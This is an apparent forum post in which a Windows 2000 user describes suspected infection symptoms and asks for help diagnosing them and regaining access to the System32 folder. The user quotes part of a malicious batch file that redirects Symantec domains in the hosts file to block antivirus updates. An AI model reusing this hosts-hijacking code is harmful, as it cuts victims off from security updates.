I'm having an issue with my PC which seems to have started yesterday. I noticed that the CPU usage kept fluctuating between 0-100% - Task Manager was showing a few processes including LSASS.exe, SERVICES.exe and TASKMGR.exe to be responsible.
I updated my virus definitions (Symantec) and ran a scan but didn't find anything. AdAware found some data mining cookies which have now been removed. I've also run the online scan from Trends Micro.
The fluctuating CPU usage issue has gone away now (after rebooting and doing a virus scan in safemode - although this didn't find anything).
However, there are other issues I can't seem to resolve:
Using Explorer, I can't access my C:\Winnt\System32 folder (shows Page not found). I've checked the settings under Folder Options > View, but it's already set to show hidden fields and not to hide protected OS files. However, I can access the C:\Winnt\System32 folder using a DOS command console. Other folders in the C:\Winnt folder don't seem to have been effected. I've tried running "c:\winnt\system32 -a -r -h -s but it comes up with "File not found - C:\winnt\attrib".
Every other time I try to open an Access database, it shows 'Workgroup Administrator couldn't create the workgroup information file. Make sure that you have specified a valid path and file name, that you have adequate permissions to create the file, and that you have enough disk space on the destination drive. (-1811). If I close Access and then try opening the Access database again, it works fine.
Some other things I've found which I'm hoping will give some clues are:
Hosts file - this had been changed to include a number of websites referenced against 127.0.0.1. I found a b.bat file in the C:\ folder which seems to have been responsible for this. Below is part of the code included in the b.bat file:
if exist %HostsNT% Set Hosts=%HostsNT%
if exist %Hosts9x% Set Hosts=%Hosts9x%
type %Hosts% | find "symantec">NUL
If Errorlevel 1 GoTo EditHosts
Attrib -R -A %Hosts%
Echo %IP% www.symantec.com>>%Hosts%
Echo %IP% securityresponse.symantec.com>>%Hosts%
Echo %IP% symantec.com>>%Hosts%
I've managed to replace this Hosts file with a clean one.
Another thing I found whilst searching the Run and Runonce folders in the registry were references to media.exe and wmedia.exe. I've been searching the web for more information about media.exe and found FldMedia-A and p2pnetwork.exe - but the descriptions (symptoms) of these don't seem to match what I find on my PC.
Any ideas what might have caused this and how I can regain access to my C:\Winnt\System32 folder?